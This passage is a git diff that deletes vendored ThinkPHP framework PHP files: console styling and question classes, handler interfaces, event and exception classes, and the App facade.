['set' => 32, 'unset' => 39], - 'yellow' => ['set' => 33, 'unset' => 39], - 'blue' => ['set' => 34, 'unset' => 39], - 'magenta' => ['set' => 35, 'unset' => 39], - 'cyan' => ['set' => 36, 'unset' => 39], - 'white' => ['set' => 37, 'unset' => 39], - ]; - - protected static $availableBackgroundColors = [ - 'black' => ['set' => 40, 'unset' => 49], - 'red' => ['set' => 41, 'unset' => 49], - 'green' => ['set' => 42, 'unset' => 49], - 'yellow' => ['set' => 43, 'unset' => 49], - 'blue' => ['set' => 44, 'unset' => 49], - 'magenta' => ['set' => 45, 'unset' => 49], - 'cyan' => ['set' => 46, 'unset' => 49], - 'white' => ['set' => 47, 'unset' => 49], - ]; - - protected static $availableOptions = [ - 'bold' => ['set' => 1, 'unset' => 22], - 'underscore' => ['set' => 4, 'unset' => 24], - 'blink' => ['set' => 5, 'unset' => 25], - 'reverse' => ['set' => 7, 'unset' => 27], - 'conceal' => ['set' => 8, 'unset' => 28], - ]; - - private $foreground; - private $background; - private $options = []; - - /** - * 初始化输出的样式 - * @param string|null $foreground 字体颜色 - * @param string|null $background 背景色 - * @param array $options 格式 - * @api - */ - public function __construct($foreground = null, $background = null, array $options = []) - { - if (null !== $foreground) { - $this->setForeground($foreground); - } - if (null !== $background) { - $this->setBackground($background); - } - if (count($options)) { - $this->setOptions($options); - } - } - - /** - * 设置字体颜色 - * @param string|null $color 颜色名 - * @throws \InvalidArgumentException - * @api - */ - public function setForeground($color = null) - { - if (null === $color) { - $this->foreground = null; - - return; - } - - if (!isset(static::$availableForegroundColors[$color])) { - throw new \InvalidArgumentException(sprintf('Invalid foreground color specified: "%s". Expected one of (%s)', $color, implode(', ', array_keys(static::$availableForegroundColors)))); - } - - $this->foreground = static::$availableForegroundColors[$color]; - } - - /** - * 设置背景色 - * @param string|null $color 颜色名 - * @throws \InvalidArgumentException - * @api - */ - public function setBackground($color = null) - { - if (null === $color) { - $this->background = null; - - return; - } - - if (!isset(static::$availableBackgroundColors[$color])) { - throw new \InvalidArgumentException(sprintf('Invalid background color specified: "%s". Expected one of (%s)', $color, implode(', ', array_keys(static::$availableBackgroundColors)))); - } - - $this->background = static::$availableBackgroundColors[$color]; - } - - /** - * 设置字体格式 - * @param string $option 格式名 - * @throws \InvalidArgumentException When the option name isn't defined - * @api - */ - public function setOption(string $option): void - { - if (!isset(static::$availableOptions[$option])) { - throw new \InvalidArgumentException(sprintf('Invalid option specified: "%s". Expected one of (%s)', $option, implode(', ', array_keys(static::$availableOptions)))); - } - - if (!in_array(static::$availableOptions[$option], $this->options)) { - $this->options[] = static::$availableOptions[$option]; - } - } - - /** - * 重置字体格式 - * @param string $option 格式名 - * @throws \InvalidArgumentException - */ - public function unsetOption(string $option): void - { - if (!isset(static::$availableOptions[$option])) { - throw new \InvalidArgumentException(sprintf('Invalid option specified: "%s". Expected one of (%s)', $option, implode(', ', array_keys(static::$availableOptions)))); - } - - $pos = array_search(static::$availableOptions[$option], $this->options); - if (false !== $pos) { - unset($this->options[$pos]); - } - } - - /** - * 批量设置字体格式 - * @param array $options - */ - public function setOptions(array $options) - { - $this->options = []; - - foreach ($options as $option) { - $this->setOption($option); - } - } - - /** - * 应用样式到文字 - * @param string $text 文字 - * @return string - */ - public function apply(string $text): string - { - $setCodes = []; - $unsetCodes = []; - - if (null !== $this->foreground) { - $setCodes[] = $this->foreground['set']; - $unsetCodes[] = $this->foreground['unset']; - } - if (null !== $this->background) { - $setCodes[] = $this->background['set']; - $unsetCodes[] = $this->background['unset']; - } - if (count($this->options)) { - foreach ($this->options as $option) { - $setCodes[] = $option['set']; - $unsetCodes[] = $option['unset']; - } - } - - if (0 === count($setCodes)) { - return $text; - } - - return sprintf("\033[%sm%s\033[%sm", implode(';', $setCodes), $text, implode(';', $unsetCodes)); - } -} diff --git a/vendor/topthink/framework/src/think/console/output/question/Choice.php b/vendor/topthink/framework/src/think/console/output/question/Choice.php deleted file mode 100644 index 1da1750..0000000 --- a/vendor/topthink/framework/src/think/console/output/question/Choice.php +++ /dev/null @@ -1,163 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\question; - -use think\console\output\Question; - -class Choice extends Question -{ - - private $choices; - private $multiselect = false; - private $prompt = ' > '; - private $errorMessage = 'Value "%s" is invalid'; - - /** - * 构造方法 - * @param string $question 问题 - * @param array $choices 选项 - * @param mixed $default 默认答案 - */ - public function __construct($question, array $choices, $default = null) - { - parent::__construct($question, $default); - - $this->choices = $choices; - $this->setValidator($this->getDefaultValidator()); - $this->setAutocompleterValues($choices); - } - - /** - * 可选项 - * @return array - */ - public function getChoices(): array - { - return $this->choices; - } - - /** - * 设置可否多选 - * @param bool $multiselect - * @return self - */ - public function setMultiselect(bool $multiselect) - { - $this->multiselect = $multiselect; - $this->setValidator($this->getDefaultValidator()); - - return $this; - } - - public function isMultiselect(): bool - { - return $this->multiselect; - } - - /** - * 获取提示 - * @return string - */ - public function getPrompt(): string - { - return $this->prompt; - } - - /** - * 设置提示 - * @param string $prompt - * @return self - */ - public function setPrompt(string $prompt) - { - $this->prompt = $prompt; - - return $this; - } - - /** - * 设置错误提示信息 - * @param string $errorMessage - * @return self - */ - public function setErrorMessage(string $errorMessage) - { - $this->errorMessage = $errorMessage; - $this->setValidator($this->getDefaultValidator()); - - return $this; - } - - /** - * 获取默认的验证方法 - * @return callable - */ - private function getDefaultValidator() - { - $choices = $this->choices; - $errorMessage = $this->errorMessage; - $multiselect = $this->multiselect; - $isAssoc = $this->isAssoc($choices); - - return function ($selected) use ($choices, $errorMessage, $multiselect, $isAssoc) { - // Collapse all spaces. - $selectedChoices = str_replace(' ', '', $selected); - - if ($multiselect) { - // Check for a separated comma values - if (!preg_match('/^[a-zA-Z0-9_-]+(?:,[a-zA-Z0-9_-]+)*$/', $selectedChoices, $matches)) { - throw new \InvalidArgumentException(sprintf($errorMessage, $selected)); - } - $selectedChoices = explode(',', $selectedChoices); - } else { - $selectedChoices = [$selected]; - } - - $multiselectChoices = []; - foreach ($selectedChoices as $value) { - $results = []; - foreach ($choices as $key => $choice) { - if ($choice === $value) { - $results[] = $key; - } - } - - if (count($results) > 1) { - throw new \InvalidArgumentException(sprintf('The provided answer is ambiguous. Value should be one of %s.', implode(' or ', $results))); - } - - $result = array_search($value, $choices); - - if (!$isAssoc) { - if (!empty($result)) { - $result = $choices[$result]; - } elseif (isset($choices[$value])) { - $result = $choices[$value]; - } - } elseif (empty($result) && array_key_exists($value, $choices)) { - $result = $value; - } - - if (false === $result) { - throw new \InvalidArgumentException(sprintf($errorMessage, $value)); - } - array_push($multiselectChoices, $result); - } - - if ($multiselect) { - return $multiselectChoices; - } - - return current($multiselectChoices); - }; - } -} diff --git a/vendor/topthink/framework/src/think/console/output/question/Confirmation.php b/vendor/topthink/framework/src/think/console/output/question/Confirmation.php deleted file mode 100644 index bf71b5d..0000000 --- a/vendor/topthink/framework/src/think/console/output/question/Confirmation.php +++ /dev/null @@ -1,57 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\question; - -use think\console\output\Question; - -class Confirmation extends Question -{ - - private $trueAnswerRegex; - - /** - * 构造方法 - * @param string $question 问题 - * @param bool $default 默认答案 - * @param string $trueAnswerRegex 验证正则 - */ - public function __construct(string $question, bool $default = true, string $trueAnswerRegex = '/^y/i') - { - parent::__construct($question, (bool) $default); - - $this->trueAnswerRegex = $trueAnswerRegex; - $this->setNormalizer($this->getDefaultNormalizer()); - } - - /** - * 获取默认的答案回调 - * @return callable - */ - private function getDefaultNormalizer() - { - $default = $this->getDefault(); - $regex = $this->trueAnswerRegex; - - return function ($answer) use ($default, $regex) { - if (is_bool($answer)) { - return $answer; - } - - $answerIsTrue = (bool) preg_match($regex, $answer); - if (false === $default) { - return $answer && $answerIsTrue; - } - - return !$answer || $answerIsTrue; - }; - } -} diff --git a/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php b/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php deleted file mode 100644 index e953f66..0000000 --- a/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php +++ /dev/null @@ -1,88 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\contract; - -/** - * 缓存驱动接口 - */ -interface CacheHandlerInterface -{ - /** - * 判断缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function has($name); - - /** - * 读取缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get($name, $default = null); - - /** - * 写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param integer|\DateTime $expire 有效时间(秒) - * @return bool - */ - public function set($name, $value, $expire = null); - - /** - * 自增缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function inc(string $name, int $step = 1); - - /** - * 自减缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function dec(string $name, int $step = 1); - - /** - * 删除缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function delete($name); - - /** - * 清除缓存 - * @access public - * @return bool - */ - public function clear(); - - /** - * 删除缓存标签 - * @access public - * @param array $keys 缓存标识列表 - * @return void - */ - public function clearTag(array $keys); - -} diff --git a/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php b/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php deleted file mode 100644 index 896ac29..0000000 --- a/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php +++ /dev/null @@ -1,28 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\contract; - -/** - * 日志驱动接口 - */ -interface LogHandlerInterface -{ - /** - * 日志写入接口 - * @access public - * @param array $log 日志信息 - * @return bool - */ - public function save(array $log): bool; - -} diff --git a/vendor/topthink/framework/src/think/contract/ModelRelationInterface.php b/vendor/topthink/framework/src/think/contract/ModelRelationInterface.php deleted file mode 100644 index 49cfa75..0000000 --- a/vendor/topthink/framework/src/think/contract/ModelRelationInterface.php +++ /dev/null @@ -1,99 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\contract; - -use Closure; -use think\Collection; -use think\db\Query; -use think\Model; - -/** - * 模型关联接口 - */ -interface ModelRelationInterface -{ - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联 - * @param Closure $closure 闭包查询条件 - * @return Collection - */ - public function getRelation(array $subRelation = [], Closure $closure = null): Collection; - - /** - * 预载入关联查询 - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包条件 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null): void; - - /** - * 预载入关联查询 - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包条件 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null): void; - - /** - * 关联统计 - * @access public - * @param Model $result 模型对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return integer - */ - public function relationCount(Model $result, Closure $closure, string $aggregate = 'count', string $field = '*', string &$name = null); - - /** - * 创建关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string; - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = 'INNER'): Query; - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @return Query - */ - public function hasWhere($where = [], $fields = null, string $joinType = ''): Query; -} diff --git a/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php b/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php deleted file mode 100644 index caed322..0000000 --- a/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php +++ /dev/null @@ -1,23 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\contract; - -/** - * Session驱动接口 - */ -interface SessionHandlerInterface -{ - public function read(string $sessionId): string; - public function delete(string $sessionId): bool; - public function write(string $sessionId, string $data): bool; -} diff --git a/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php b/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php deleted file mode 100644 index f01820d..0000000 --- a/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php +++ /dev/null @@ -1,61 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\contract; - -/** - * 视图驱动接口 - */ -interface TemplateHandlerInterface -{ - /** - * 检测是否存在模板文件 - * @access public - * @param string $template 模板文件或者模板规则 - * @return bool - */ - public function exists(string $template): bool; - - /** - * 渲染模板文件 - * @access public - * @param string $template 模板文件 - * @param array $data 模板变量 - * @return void - */ - public function fetch(string $template, array $data = []): void; - - /** - * 渲染模板内容 - * @access public - * @param string $content 模板内容 - * @param array $data 模板变量 - * @return void - */ - public function display(string $content, array $data = []): void; - - /** - * 配置模板引擎 - * @access private - * @param array $config 参数 - * @return void - */ - public function config(array $config): void; - - /** - * 获取模板引擎配置 - * @access public - * @param string $name 参数名 - * @return void - */ - public function getConfig(string $name); -} diff --git a/vendor/topthink/framework/src/think/event/AppInit.php b/vendor/topthink/framework/src/think/event/AppInit.php deleted file mode 100644 index 83d75e7..0000000 --- a/vendor/topthink/framework/src/think/event/AppInit.php +++ /dev/null @@ -1,19 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\event; - -/** - * AppInit事件类 - */ -class AppInit -{} diff --git a/vendor/topthink/framework/src/think/event/HttpEnd.php b/vendor/topthink/framework/src/think/event/HttpEnd.php deleted file mode 100644 index 5296ef1..0000000 --- a/vendor/topthink/framework/src/think/event/HttpEnd.php +++ /dev/null @@ -1,19 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\event; - -/** - * HttpEnd事件类 - */ -class HttpEnd -{} diff --git a/vendor/topthink/framework/src/think/event/HttpRun.php b/vendor/topthink/framework/src/think/event/HttpRun.php deleted file mode 100644 index a9cd7c3..0000000 --- a/vendor/topthink/framework/src/think/event/HttpRun.php +++ /dev/null @@ -1,19 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\event; - -/** - * HttpRun事件类 - */ -class HttpRun -{} diff --git a/vendor/topthink/framework/src/think/event/LogWrite.php b/vendor/topthink/framework/src/think/event/LogWrite.php deleted file mode 100644 index 470e119..0000000 --- a/vendor/topthink/framework/src/think/event/LogWrite.php +++ /dev/null @@ -1,31 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\event; - -/** - * LogWrite事件类 - */ -class LogWrite -{ - /** @var string */ - public $channel; - - /** @var array */ - public $log; - - public function __construct($channel, $log) - { - $this->channel = $channel; - $this->log = $log; - } -} diff --git a/vendor/topthink/framework/src/think/event/RouteLoaded.php b/vendor/topthink/framework/src/think/event/RouteLoaded.php deleted file mode 100644 index eee1f3e..0000000 --- a/vendor/topthink/framework/src/think/event/RouteLoaded.php +++ /dev/null @@ -1,21 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\event; - -/** - * 路由加载完成事件 - */ -class RouteLoaded -{ - -} diff --git a/vendor/topthink/framework/src/think/exception/ClassNotFoundException.php b/vendor/topthink/framework/src/think/exception/ClassNotFoundException.php deleted file mode 100644 index 2fa1f58..0000000 --- a/vendor/topthink/framework/src/think/exception/ClassNotFoundException.php +++ /dev/null @@ -1,39 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\exception; - -use Psr\Container\NotFoundExceptionInterface; -use RuntimeException; -use Throwable; - -class ClassNotFoundException extends RuntimeException implements NotFoundExceptionInterface -{ - protected $class; - - public function __construct(string $message, string $class = '', Throwable $previous = null) - { - $this->message = $message; - $this->class = $class; - - parent::__construct($message, 0, $previous); - } - - /** - * 获取类名 - * @access public - * @return string - */ - public function getClass() - { - return $this->class; - } -} diff --git a/vendor/topthink/framework/src/think/exception/ErrorException.php b/vendor/topthink/framework/src/think/exception/ErrorException.php deleted file mode 100644 index 54de0fe..0000000 --- a/vendor/topthink/framework/src/think/exception/ErrorException.php +++ /dev/null @@ -1,57 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\exception; - -use think\Exception; - -/** - * ThinkPHP错误异常 - * 主要用于封装 set_error_handler 和 register_shutdown_function 得到的错误 - * 除开从 think\Exception 继承的功能 - * 其他和PHP系统\ErrorException功能基本一样 - */ -class ErrorException extends Exception -{ - /** - * 用于保存错误级别 - * @var integer - */ - protected $severity; - - /** - * 错误异常构造函数 - * @access public - * @param integer $severity 错误级别 - * @param string $message 错误详细信息 - * @param string $file 出错文件路径 - * @param integer $line 出错行号 - */ - public function __construct(int $severity, string $message, string $file, int $line) - { - $this->severity = $severity; - $this->message = $message; - $this->file = $file; - $this->line = $line; - $this->code = 0; - } - - /** - * 获取错误级别 - * @access public - * @return integer 错误级别 - */ - final public function getSeverity() - { - return $this->severity; - } -} diff --git a/vendor/topthink/framework/src/think/exception/FileException.php b/vendor/topthink/framework/src/think/exception/FileException.php deleted file mode 100644 index 2254472..0000000 --- a/vendor/topthink/framework/src/think/exception/FileException.php +++ /dev/null @@ -1,17 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\exception; - -class FileException extends \RuntimeException -{ -} diff --git a/vendor/topthink/framework/src/think/exception/FuncNotFoundException.php b/vendor/topthink/framework/src/think/exception/FuncNotFoundException.php deleted file mode 100644 index ee2bcad..0000000 --- a/vendor/topthink/framework/src/think/exception/FuncNotFoundException.php +++ /dev/null @@ -1,30 +0,0 @@ -message = $message; - $this->func = $func; - - parent::__construct($message, 0, $previous); - } - - /** - * 获取方法名 - * @access public - * @return string - */ - public function getFunc() - { - return $this->func; - } -} diff --git a/vendor/topthink/framework/src/think/exception/Handle.php b/vendor/topthink/framework/src/think/exception/Handle.php deleted file mode 100644 index 8484b6f..0000000 --- a/vendor/topthink/framework/src/think/exception/Handle.php +++ /dev/null @@ -1,332 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\exception; - -use Exception; -use think\App; -use think\console\Output; -use think\db\exception\DataNotFoundException; -use think\db\exception\ModelNotFoundException; -use think\Request; -use think\Response; -use Throwable; - -/** - * 系统异常处理类 - */ -class Handle -{ - /** @var App */ - protected $app; - - protected $ignoreReport = [ - HttpException::class, - HttpResponseException::class, - ModelNotFoundException::class, - DataNotFoundException::class, - ValidateException::class, - ]; - - protected $isJson = false; - - public function __construct(App $app) - { - $this->app = $app; - } - - /** - * Report or log an exception. - * - * @access public - * @param Throwable $exception - * @return void - */ - public function report(Throwable $exception): void - { - if (!$this->isIgnoreReport($exception)) { - // 收集异常数据 - if ($this->app->isDebug()) { - $data = [ - 'file' => $exception->getFile(), - 'line' => $exception->getLine(), - 'message' => $this->getMessage($exception), - 'code' => $this->getCode($exception), - ]; - $log = "[{$data['code']}]{$data['message']}[{$data['file']}:{$data['line']}]"; - } else { - $data = [ - 'code' => $this->getCode($exception), - 'message' => $this->getMessage($exception), - ]; - $log = "[{$data['code']}]{$data['message']}"; - } - - if ($this->app->config->get('log.record_trace')) { - $log .= PHP_EOL . $exception->getTraceAsString(); - } - - try { - $this->app->log->record($log, 'error'); - } catch (Exception $e) {} - } - } - - protected function isIgnoreReport(Throwable $exception): bool - { - foreach ($this->ignoreReport as $class) { - if ($exception instanceof $class) { - return true; - } - } - - return false; - } - - /** - * Render an exception into an HTTP response. - * - * @access public - * @param Request $request - * @param Throwable $e - * @return Response - */ - public function render($request, Throwable $e): Response - { - $this->isJson = $request->isJson(); - if ($e instanceof HttpResponseException) { - return $e->getResponse(); - } elseif ($e instanceof HttpException) { - return $this->renderHttpException($e); - } else { - return $this->convertExceptionToResponse($e); - } - } - - /** - * @access public - * @param Output $output - * @param Throwable $e - */ - public function renderForConsole(Output $output, Throwable $e): void - { - if ($this->app->isDebug()) { - $output->setVerbosity(Output::VERBOSITY_DEBUG); - } - - $output->renderException($e); - } - - /** - * @access protected - * @param HttpException $e - * @return Response - */ - protected function renderHttpException(HttpException $e): Response - { - $status = $e->getStatusCode(); - $template = $this->app->config->get('app.http_exception_template'); - - if (!$this->app->isDebug() && !empty($template[$status])) { - return Response::create($template[$status], 'view', $status)->assign(['e' => $e]); - } else { - return $this->convertExceptionToResponse($e); - } - } - - /** - * 收集异常数据 - * @param Throwable $exception - * @return array - */ - protected function convertExceptionToArray(Throwable $exception): array - { - if ($this->app->isDebug()) { - // 调试模式,获取详细的错误信息 - $traces = []; - $nextException = $exception; - do { - $traces[] = [ - 'name' => get_class($nextException), - 'file' => $nextException->getFile(), - 'line' => $nextException->getLine(), - 'code' => $this->getCode($nextException), - 'message' => $this->getMessage($nextException), - 'trace' => $nextException->getTrace(), - 'source' => $this->getSourceCode($nextException), - ]; - } while ($nextException = $nextException->getPrevious()); - $data = [ - 'code' => $this->getCode($exception), - 'message' => $this->getMessage($exception), - 'traces' => $traces, - 'datas' => $this->getExtendData($exception), - 'tables' => [ - 'GET Data' => $this->app->request->get(), - 'POST Data' => $this->app->request->post(), - 'Files' => $this->app->request->file(), - 'Cookies' => $this->app->request->cookie(), - 'Session' => $this->app->exists('session') ? $this->app->session->all() : [], - 'Server/Request Data' => $this->app->request->server(), - ], - ]; - } else { - // 部署模式仅显示 Code 和 Message - $data = [ - 'code' => $this->getCode($exception), - 'message' => $this->getMessage($exception), - ]; - - if (!$this->app->config->get('app.show_error_msg')) { - // 不显示详细错误信息 - $data['message'] = $this->app->config->get('app.error_message'); - } - } - - return $data; - } - - /** - * @access protected - * @param Throwable $exception - * @return Response - */ - protected function convertExceptionToResponse(Throwable $exception): Response - { - if (!$this->isJson) { - $response = Response::create($this->renderExceptionContent($exception)); - } else { - $response = Response::create($this->convertExceptionToArray($exception), 'json'); - } - - if ($exception instanceof HttpException) { - $statusCode = $exception->getStatusCode(); - $response->header($exception->getHeaders()); - } - - return $response->code($statusCode ?? 500); - } - - protected function renderExceptionContent(Throwable $exception): string - { - ob_start(); - $data = $this->convertExceptionToArray($exception); - extract($data); - include $this->app->config->get('app.exception_tmpl') ?: __DIR__ . '/../../tpl/think_exception.tpl'; - - return ob_get_clean(); - } - - /** - * 获取错误编码 - * ErrorException则使用错误级别作为错误编码 - * @access protected - * @param Throwable $exception - * @return integer 错误编码 - */ - protected function getCode(Throwable $exception) - { - $code = $exception->getCode(); - - if (!$code && $exception instanceof ErrorException) { - $code = $exception->getSeverity(); - } - - return $code; - } - - /** - * 获取错误信息 - * ErrorException则使用错误级别作为错误编码 - * @access protected - * @param Throwable $exception - * @return string 错误信息 - */ - protected function getMessage(Throwable $exception): string - { - $message = $exception->getMessage(); - - if ($this->app->runningInConsole()) { - return $message; - } - - $lang = $this->app->lang; - - if (strpos($message, ':')) { - $name = strstr($message, ':', true); - $message = $lang->has($name) ? $lang->get($name) . strstr($message, ':') : $message; - } elseif (strpos($message, ',')) { - $name = strstr($message, ',', true); - $message = $lang->has($name) ? $lang->get($name) . ':' . substr(strstr($message, ','), 1) : $message; - } elseif ($lang->has($message)) { - $message = $lang->get($message); - } - - return $message; - } - - /** - * 获取出错文件内容 - * 获取错误的前9行和后9行 - * @access protected - * @param Throwable $exception - * @return array 错误文件内容 - */ - protected function getSourceCode(Throwable $exception): array - { - // 读取前9行和后9行 - $line = $exception->getLine(); - $first = ($line - 9 > 0) ? $line - 9 : 1; - - try { - $contents = file($exception->getFile()) ?: []; - $source = [ - 'first' => $first, - 'source' => array_slice($contents, $first - 1, 19), - ]; - } catch (Exception $e) { - $source = []; - } - - return $source; - } - - /** - * 获取异常扩展信息 - * 用于非调试模式html返回类型显示 - * @access protected - * @param Throwable $exception - * @return array 异常类定义的扩展数据 - */ - protected function getExtendData(Throwable $exception): array - { - $data = []; - - if ($exception instanceof \think\Exception) { - $data = $exception->getData(); - } - - return $data; - } - - /** - * 获取常量列表 - * @access protected - * @return array 常量列表 - */ - protected function getConst(): array - { - $const = get_defined_constants(true); - - return $const['user'] ?? []; - } -} diff --git a/vendor/topthink/framework/src/think/exception/HttpException.php b/vendor/topthink/framework/src/think/exception/HttpException.php deleted file mode 100644 index 74fabfc..0000000 --- a/vendor/topthink/framework/src/think/exception/HttpException.php +++ /dev/null @@ -1,42 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\exception; - -use Exception; - -/** - * HTTP异常 - */ -class HttpException extends \RuntimeException -{ - private $statusCode; - private $headers; - - public function __construct(int $statusCode, string $message = '', Exception $previous = null, array $headers = [], $code = 0) - { - $this->statusCode = $statusCode; - $this->headers = $headers; - - parent::__construct($message, $code, $previous); - } - - public function getStatusCode() - { - return $this->statusCode; - } - - public function getHeaders() - { - return $this->headers; - } -} diff --git a/vendor/topthink/framework/src/think/exception/HttpResponseException.php b/vendor/topthink/framework/src/think/exception/HttpResponseException.php deleted file mode 100644 index 759254c..0000000 --- a/vendor/topthink/framework/src/think/exception/HttpResponseException.php +++ /dev/null @@ -1,37 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\exception; - -use think\Response; - -/** - * HTTP响应异常 - */ -class HttpResponseException extends \RuntimeException -{ - /** - * @var Response - */ - protected $response; - - public function __construct(Response $response) - { - $this->response = $response; - } - - public function getResponse() - { - return $this->response; - } - -} diff --git a/vendor/topthink/framework/src/think/exception/InvalidArgumentException.php b/vendor/topthink/framework/src/think/exception/InvalidArgumentException.php deleted file mode 100644 index d317278..0000000 --- a/vendor/topthink/framework/src/think/exception/InvalidArgumentException.php +++ /dev/null @@ -1,22 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); -namespace think\exception; - -use Psr\Cache\InvalidArgumentException as Psr6CacheInvalidArgumentInterface; -use Psr\SimpleCache\InvalidArgumentException as SimpleCacheInvalidArgumentInterface; - -/** - * 非法数据异常 - */ -class InvalidArgumentException extends \InvalidArgumentException implements Psr6CacheInvalidArgumentInterface, SimpleCacheInvalidArgumentInterface -{ -} diff --git a/vendor/topthink/framework/src/think/exception/RouteNotFoundException.php b/vendor/topthink/framework/src/think/exception/RouteNotFoundException.php deleted file mode 100644 index f50dff6..0000000 --- a/vendor/topthink/framework/src/think/exception/RouteNotFoundException.php +++ /dev/null @@ -1,26 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\exception; - -/** - * 路由未定义异常 - */ -class RouteNotFoundException extends HttpException -{ - - public function __construct() - { - parent::__construct(404, 'Route Not Found'); - } - -} diff --git a/vendor/topthink/framework/src/think/exception/ValidateException.php b/vendor/topthink/framework/src/think/exception/ValidateException.php deleted file mode 100644 index cc79e19..0000000 --- a/vendor/topthink/framework/src/think/exception/ValidateException.php +++ /dev/null @@ -1,37 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\exception; - -/** - * 数据验证异常 - */ -class ValidateException extends \RuntimeException -{ - protected $error; - - public function __construct($error) - { - $this->error = $error; - $this->message = is_array($error) ? implode(PHP_EOL, $error) : $error; - } - - /** - * 获取验证错误信息 - * @access public - * @return array|string - */ - public function getError() - { - return $this->error; - } -} diff --git a/vendor/topthink/framework/src/think/facade/App.php b/vendor/topthink/framework/src/think/facade/App.php deleted file mode 100644 index fe3de4d..0000000 --- a/vendor/topthink/framework/src/think/facade/App.php +++ /dev/null @@ -1,59 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\App - * @package think\facade - * @mixin \think\App - * @method static \think\Service|null register(\think\Service|string $service, bool $force = false) 注册服务 - * @method static mixed bootService(\think\Service $service) 执行服务 - * @method static \think\Service|null getService(string|\think\Service $service) 获取服务 - * @method static \think\App debug(bool $debug = true) 开启应用调试模式 - * @method static bool isDebug() 是否为调试模式 - * @method static \think\App setNamespace(string $namespace) 设置应用命名空间 - * @method static string getNamespace() 获取应用类库命名空间 - * @method static string version() 获取框架版本 - * @method static string getRootPath() 获取应用根目录 - * @method static string getBasePath() 获取应用基础目录 - * @method static string getAppPath() 获取当前应用目录 - * @method static mixed setAppPath(string $path) 设置应用目录 - * @method static string getRuntimePath() 获取应用运行时目录 - * @method static void setRuntimePath(string $path) 设置runtime目录 - * @method static string getThinkPath() 获取核心框架目录 - * @method static string getConfigPath() 获取应用配置目录 - * @method static string getConfigExt() 获取配置后缀 - * @method static float getBeginTime() 获取应用开启时间 - * @method static integer getBeginMem() 获取应用初始内存占用 - * @method static \think\App initialize() 初始化应用 - * @method static bool initialized() 是否初始化过 - * @method static void loadLangPack(string $langset) 加载语言包 - * @method static void boot() 引导应用 - * @method static void loadEvent(array $event) 注册应用事件 - * @method static string parseClass(string $layer, string $name) 解析应用类的类名 - * @method static bool runningInConsole() 是否运行在命令行下 - */ -class App extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'app'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Cache.php 